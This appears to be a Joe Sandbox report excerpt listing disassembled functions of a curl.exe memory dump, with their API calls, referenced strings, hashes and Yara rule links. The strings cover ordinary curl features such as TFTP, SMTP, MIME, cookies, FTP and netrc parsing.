Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID:
String ID: $%%%02x
API String ID: 0-2848173732
Opcode ID: 5050fc09b6bd7d697c578884cde930507cfd0984a0336c0fb2a95676a1e21429
Instruction ID: 63a2e21803e050c24d374d5ff74778962c4c4a87d182d339ad6fca8234b0759f
Opcode Fuzzy Hash: 5050fc09b6bd7d697c578884cde930507cfd0984a0336c0fb2a95676a1e21429
Instruction Fuzzy Hash: 34F12330A04A0A9BDF188F24D8407BDBFB1FF55354F28C16AD84AE739AEB35D9158B50

Function 00870637 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 210COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000078,00000000,?,?,?,?,0086D002), ref: 00870658
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(00000025,00000000,?,?,?,0086D002), ref: 00870699

Strings

header{, xrefs: 008707CC
%header{, xrefs: 008707F8
curl: unknown --write-out variable: '%s', xrefs: 0087070A

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __acrt_iob_funcfputc
String ID: %header{$curl: unknown --write-out variable: '%s'$header{
API String ID: 2340846889-221383536
Opcode ID: 4e5016f4f33a588fe98ac6a4fd2e56ef26e5d5ab52a13c937a8dc79b08c8d03a
Instruction ID: 60022978bc42c73bad034803cc9bc47b3b77514b7b2255c90d47165fc2d6ab71
Opcode Fuzzy Hash: 4e5016f4f33a588fe98ac6a4fd2e56ef26e5d5ab52a13c937a8dc79b08c8d03a
Instruction Fuzzy Hash: 19514A31904344DBEF248B649C49B6A7BF4FB46754F28C059E45EDB38AD6B6E800CE92

Function 008976AF Relevance: 29.9, APIs: 2, Strings: 15, Instructions: 176stringCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 00897789
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 008977FC

Strings

invalid tsize -:%s:- value in OACK packet, xrefs: 0089787D
%s (%ld), xrefs: 0089780E, 0089784F
requested, xrefs: 008977C2
invalid blocksize value in OACK packet, xrefs: 00897875
blksize parsed from OACK, xrefs: 008977C8
blksize, xrefs: 00897771
%s (%d), xrefs: 00897865
tsize, xrefs: 008977E6
blksize is smaller than min supported, xrefs: 00897858
server requested blksize larger than allocated, xrefs: 0089784A
blksize is larger than max supported, xrefs: 00897860
tsize parsed from OACK, xrefs: 00897809
got option=(%s) value=(%s), xrefs: 00897763
Malformed ACK packet, rejecting, xrefs: 0089788D
%s (%d) %s (%d), xrefs: 008977CD

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: strtol
String ID: %s (%d)$%s (%d) %s (%d)$%s (%ld)$Malformed ACK packet, rejecting$blksize$blksize is larger than max supported$blksize is smaller than min supported$blksize parsed from OACK$got option=(%s) value=(%s)$invalid blocksize value in OACK packet$invalid tsize -:%s:- value in OACK packet$requested$server requested blksize larger than allocated$tsize$tsize parsed from OACK
API String ID: 76114499-360479797
Opcode ID: ed35981cb4720376668cfc0854422323ffa567a7b590176ad64bbbbbe4ec3f24
Instruction ID: aef953d637843700e63421849ff7595854e2d3e49648fe8aa89d542816af91c0
Opcode Fuzzy Hash: ed35981cb4720376668cfc0854422323ffa567a7b590176ad64bbbbbe4ec3f24
Instruction Fuzzy Hash: 87510671F48305ABDF04AA688C46F7E37B9FF84704F184479E51AF6385E674D9008AA5

Function 008AEE09 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 170fileCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,000001B8,?), ref: 008AEE3F
GetFileSizeEx.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?), ref: 008AEEC6
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 008AEED1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AEF3A
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00000000,00000000), ref: 008AEF76
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?), ref: 008AEFC1
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 008AF006
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,000001B8,?), ref: 008AEE50

Part of subcall function 0087A1A0: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A1AB
Part of subcall function 0087A1A0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A1B3
Part of subcall function 0087A1A0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A1E9
Part of subcall function 0087A1A0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A1F6
Part of subcall function 0087A1A0: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A1FE
Part of subcall function 0087A1A0: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 0087A209

CreateFileA.API-MS-WIN-CORE-FILE-L1-1-0(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,000001B8,?), ref: 008AEE8F
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 008AEEA1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AEFDB
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008AEFE9

Strings

schannel: invalid path name for CA file '%s': %s, xrefs: 008AEE66
schannel: failed to determine size of CA file '%s': %s, xrefs: 008AEEE7
schannel: failed to open CA file '%s': %s, xrefs: 008AEEB7
schannel: failed to read from CA file '%s': %s, xrefs: 008AF021
schannel: CA file exceeds max size of %u bytes, xrefs: 008AEF18

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLast$File_errno$free$CloseCreateHandleReadSize_strdupmalloc
String ID: schannel: CA file exceeds max size of %u bytes$schannel: failed to determine size of CA file '%s': %s$schannel: failed to open CA file '%s': %s$schannel: failed to read from CA file '%s': %s$schannel: invalid path name for CA file '%s': %s
API String ID: 1064901726-3430970913
Opcode ID: b7c4a05922de74360f6556d58c8fd1d26396cb8118654e3c4de9fbf0788ceeb2
Instruction ID: 2c3bf1617fc79534159ae66389ff20df8a715d2bea6a7ce10860a183c4f73bb3
Opcode Fuzzy Hash: b7c4a05922de74360f6556d58c8fd1d26396cb8118654e3c4de9fbf0788ceeb2
Instruction Fuzzy Hash: 1951E771A00219AFEB255B24DC06FEE77B9FB49710F1049D9F609E7281DBB49D808F91

Function 00896179 Relevance: 28.9, APIs: 10, Strings: 9, Instructions: 363COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089623D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008962C2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089634C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00896382
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00896484
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089649E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008964B2

Strings

<%s>, xrefs: 0089621D, 0089632E
SIZE=, xrefs: 00896512, 0089651C
Mime-Version: 1.0, xrefs: 008963E4
%I64d, xrefs: 00896462
SMTPUTF8, xrefs: 00896501, 0089650B
AUTH=, xrefs: 00896523, 0089652E
Mime-Version, xrefs: 008963CD
MAIL FROM:%s%s%s%s%s%s, xrefs: 00896533
<%s@%s>, xrefs: 00896207, 0089631E

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: AUTH=$ SIZE=$ SMTPUTF8$%I64d$<%s>$<%s@%s>$MAIL FROM:%s%s%s%s%s%s$Mime-Version$Mime-Version: 1.0
API String ID: 1294909896-2994854565
Opcode ID: 9670d93b49371f9201a980b92d20b28651e27c9724af59c8bf9af70cfda083c2
Instruction ID: edd9056f85bc94a2b1c7c1352dfb763692b54c44fbbeae0b88252a962792a900
Opcode Fuzzy Hash: 9670d93b49371f9201a980b92d20b28651e27c9724af59c8bf9af70cfda083c2
Instruction Fuzzy Hash: 2DC1E571B0461ADFDF14ABA4DC50AAEBBB5FF45310F2C816AE805E3341EB71AD108B90

Function 00873FAE Relevance: 28.8, APIs: 2, Strings: 17, Instructions: 321COMMON

Download Yara Rule

APIs

Part of subcall function 00870E10: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00863167), ref: 00870E2C
Part of subcall function 00870E10: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00870E41

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008741F8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087420C

Strings

attachment, xrefs: 00874121, 00874129
Content-Type, xrefs: 00873FFF
multipart/mixed, xrefs: 00874041
Content-Disposition: %s%s%s%s%s%s%s, xrefs: 008741D8
Content-Disposition, xrefs: 008740D4
form-data, xrefs: 008742EC, 008742FF
multipart/form-data, xrefs: 008742DD
Content-Transfer-Encoding, xrefs: 0087425F
multipart/, xrefs: 0087410C
application/octet-stream, xrefs: 00874073
text/plain, xrefs: 008740A2
; filename=", xrefs: 008741B4, 008741BE
8bit, xrefs: 00874298, 0087429D
Content-Type: %s%s%s, xrefs: 0087423B
; name=", xrefs: 008741C9, 008741D1
Content-Transfer-Encoding: %s, xrefs: 008742A1
; boundary=, xrefs: 0087422E, 00874236

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: 8bit$; boundary=$; filename="$; name="$Content-Disposition$Content-Disposition: %s%s%s%s%s%s%s$Content-Transfer-Encoding$Content-Transfer-Encoding: %s$Content-Type$Content-Type: %s%s%s$application/octet-stream$attachment$form-data$multipart/$multipart/form-data$multipart/mixed$text/plain
API String ID: 1294909896-1595554923
Opcode ID: eeda95e8e507809d0a18f867771a4879c7f4192bed15ba9e189d9f21b1f717f4
Instruction ID: 35171e43a2ba6a069d96a12a2474fd814a1d62dfee51a8a000487095314be226
Opcode Fuzzy Hash: eeda95e8e507809d0a18f867771a4879c7f4192bed15ba9e189d9f21b1f717f4
Instruction Fuzzy Hash: F8B1A131B00A06EBDB18DAA9C490B6AB7A5FF54314F14D03EE909D7B89DB70ED54CB81

Function 0088AAC7 Relevance: 28.3, APIs: 5, Strings: 11, Instructions: 339COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0088AB92
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088AC3A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088AC4F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088ACD1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088ACE6

Strings

Read callback asked for PAUSE when not supported, xrefs: 0088AD69
read function returned funny value, xrefs: 0088ADA9
Malformatted trailing header, skipping trailer, xrefs: 0088ABDD
Signaling end of chunked upload via terminating chunk., xrefs: 0088AE65
operation aborted by trailing headers callback, xrefs: 0088AC95
Successfully compiled trailers., xrefs: 0088AC11
*, xrefs: 0088ACA5
operation aborted by callback, xrefs: 0088AD40
Signaling end of chunked upload after trailers., xrefs: 0088AF0B
%zx%s, xrefs: 0088AE06
Moving trailers state machine from initialized to sending., xrefs: 0088AB00

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$___from_strstr_to_strchr
String ID: %zx%s$*$Malformatted trailing header, skipping trailer$Moving trailers state machine from initialized to sending.$Read callback asked for PAUSE when not supported$Signaling end of chunked upload after trailers.$Signaling end of chunked upload via terminating chunk.$Successfully compiled trailers.$operation aborted by callback$operation aborted by trailing headers callback$read function returned funny value
API String ID: 622630536-1407958152
Opcode ID: c3128fa748c8ea71cee77c91cceeb2c490161600ddfd7741546db8f4ef48cb4a
Instruction ID: 974a2d1e4c074a1c5a6b2eeb067947b7bae28aeb8d144446029550b59895d834
Opcode Fuzzy Hash: c3128fa748c8ea71cee77c91cceeb2c490161600ddfd7741546db8f4ef48cb4a
Instruction Fuzzy Hash: 5DD1D4719042059FEF19DF68C891BE97BB2FF48320F18417AD809EB286DB75AC45CB61

Function 0089E107 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 291COMMON

Download Yara Rule

APIs

Part of subcall function 00872813: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00872848

_strrchr.LIBCMT ref: 0089E194
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000), ref: 0089E1C3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089E1E3

Strings

Uploading to a URL without a file name, xrefs: 0089E380
Request has same path as previous transfer, xrefs: 0089E41F
path contains control characters, xrefs: 0089E154

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strrchrcallocfreemalloc
String ID: Request has same path as previous transfer$Uploading to a URL without a file name$path contains control characters
API String ID: 2159935718-4131979473
Opcode ID: f5655feab2c3ba8fffff71a839b392dd4c99a505b822975feb3d170e1cc584aa
Instruction ID: 14bc4abef2222d628de9faa0d80c1b00ded908f39ab23e30237014b3c6a82c38
Opcode Fuzzy Hash: f5655feab2c3ba8fffff71a839b392dd4c99a505b822975feb3d170e1cc584aa
Instruction Fuzzy Hash: 70A1AC71A0460A9FDF24EFA8D844AAE7BF5FF49350F18406EE946E7381DB71AC008B54

Function 00880F34 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 200fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0087FA05: _time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000,00000000,?,0088128E,?,?,00880F71,00000000,?,00000001), ref: 0087FA12

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,0088128E,?), ref: 00880F81
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,008B6C58,00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,0088128E), ref: 00880FD2
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(# Netscape HTTP Cookie File# https://curl.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.,00000000,?,?,?,?,?,?,?,?,?,?,0088128E,?,?,754C3C50), ref: 00880FED
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088101B
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,00000004,00880B10), ref: 0088105E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008810A0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008810C0
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,0088128E,?,?,754C3C50,00000000,0088182F), ref: 008810CA

Part of subcall function 008950DE: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,?,00000000), ref: 0089510A
Part of subcall function 008950DE: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,00000000), ref: 00895118
Part of subcall function 008950DE: MoveFileExA.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING),00000000,?,00000000), ref: 00895166
Part of subcall function 008950DE: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00895175
Part of subcall function 008950DE: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00895181

_unlink.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,?,?,?,?,?,?,?,0088128E,?,?,754C3C50,00000000,0088182F), ref: 008810E0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,0088128E,?,?,754C3C50,00000000,0088182F), ref: 008810FA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,0088128E,?,?,754C3C50,00000000,0088182F), ref: 0088113C

Strings

%s, xrefs: 00881083
# Netscape HTTP Cookie File# https://curl.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk., xrefs: 00880FE8
%s.%s.tmp, xrefs: 00880FB2

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$_strdup$FileMove__acrt_iob_func_time64_unlinkcallocfclosefopenfputsqsort
String ID: # Netscape HTTP Cookie File# https://curl.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.$%s$%s.%s.tmp
API String ID: 2634863294-1951421411
Opcode ID: 0edd43ba71e3869f1d7cee0d06b31e77ed57b81d1f64b35c3b1bbb5e4d254330
Instruction ID: 52d18514f5ba6fc3cc3689385592e009685b9478af6f794b6120fb00e839c935
Opcode Fuzzy Hash: 0edd43ba71e3869f1d7cee0d06b31e77ed57b81d1f64b35c3b1bbb5e4d254330
Instruction Fuzzy Hash: F651E971A046199FDF14AFA4DC59AAEBBB9FF48750F14402AE901E7381DF749C428B90

Function 0089B8E9 Relevance: 26.6, APIs: 4, Strings: 11, Instructions: 364COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089B935
___from_strstr_to_strchr.LIBCMT ref: 0089B962

Part of subcall function 00863857: __stdio_common_vsscanf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,000000FF,?,00000000,?), ref: 00863872

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089BC25
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089BD5A

Strings

%c%c%c%u%c, xrefs: 0089B98D
Can't resolve proxy host %s:%hu, xrefs: 0089BBCF
Can't resolve new host %s:%hu, xrefs: 0089BCA4
Skip %u.%u.%u.%u for data connection, re-use %s instead, xrefs: 0089BAFB
Weirdly formatted EPSV reply, xrefs: 0089BA0D
%u,%u,%u,%u,%u,%u, xrefs: 0089BA7C
Couldn't interpret the 227-response, xrefs: 0089BDA6
Illegal port number in EPSV reply, xrefs: 0089B9C2
%u.%u.%u.%u, xrefs: 0089BB34
Bad PASV/EPSV response: %03d, xrefs: 0089BDB8
Connecting to %s (%s) port %d, xrefs: 0089BD2E

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$___from_strstr_to_strchr__stdio_common_vsscanf
String ID: %c%c%c%u%c$%u,%u,%u,%u,%u,%u$%u.%u.%u.%u$Bad PASV/EPSV response: %03d$Can't resolve new host %s:%hu$Can't resolve proxy host %s:%hu$Connecting to %s (%s) port %d$Couldn't interpret the 227-response$Illegal port number in EPSV reply$Skip %u.%u.%u.%u for data connection, re-use %s instead$Weirdly formatted EPSV reply
API String ID: 2616960956-1503635593
Opcode ID: e17f6cbddb68a940fb9bfd30795bd14905e1f0041b2ed14115b9578b2a09f5e8
Instruction ID: 23c02655f811c56ad2b14233d6716742dd3c9c1c944e001203b53788fa80c593
Opcode Fuzzy Hash: e17f6cbddb68a940fb9bfd30795bd14905e1f0041b2ed14115b9578b2a09f5e8
Instruction Fuzzy Hash: 73D1F471A08302AFDB15EF24ED80B6AB7E5FF94314F08492EF559D3291DB34E8048B96

Function 00898B9D Relevance: 26.6, APIs: 9, Strings: 6, Instructions: 346fileCOMMON

Download Yara Rule

APIs

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,008B7A20), ref: 00898C37
fgets.API-MS-WIN-CRT-STDIO-L1-1-0(?,00001000,00000000), ref: 00898C5B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00898D7D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00898E2E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00898F8D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00898FA8
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 00898FB1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00899015
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089904B

Strings

default, xrefs: 00898F21
machine, xrefs: 00898EAD, 00898F0C
, xrefs: 00898C93, 00898F45
macdef, xrefs: 00898EF8
login, xrefs: 00898E75
password, xrefs: 00898E91

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$fclosefgetsfopen
String ID: $default$login$macdef$machine$password
API String ID: 1690894011-416575051
Opcode ID: 4ef50a1ed584531cefd6d82ccf31f7906642b694233742d5a95d9ed3f8f4797e
Instruction ID: 0cd7fe50f715635c1357f1e24d75d0eae5d5e8375616efde682715687f07a727
Opcode Fuzzy Hash: 4ef50a1ed584531cefd6d82ccf31f7906642b694233742d5a95d9ed3f8f4797e
Instruction Fuzzy Hash: D5D18231A042AACBDF35AB288C447D9BBB2FB56354F1C40DAD489E3291CFB59DC48B51

Function 00885106 Relevance: 25.3, APIs: 20, Instructions: 257COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00885157
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088516E

Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00881751,?,00000000,?,?,?,00868BF9), ref: 00886D39
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,00868BF9), ref: 00886D52
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00868BF9), ref: 00886D69
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00868BF9), ref: 00886D80
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886D97
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886DAE
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886DC5
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886DDC
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886DF3
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E0A
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E21
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E38
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E4F

Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E66

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008851A4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008851C2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00885219
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00885237
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00885255
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00885273
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008852DF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008852FD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088531B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00885339
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00885356
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00885370
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008853B9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088542A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00885449
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00885466
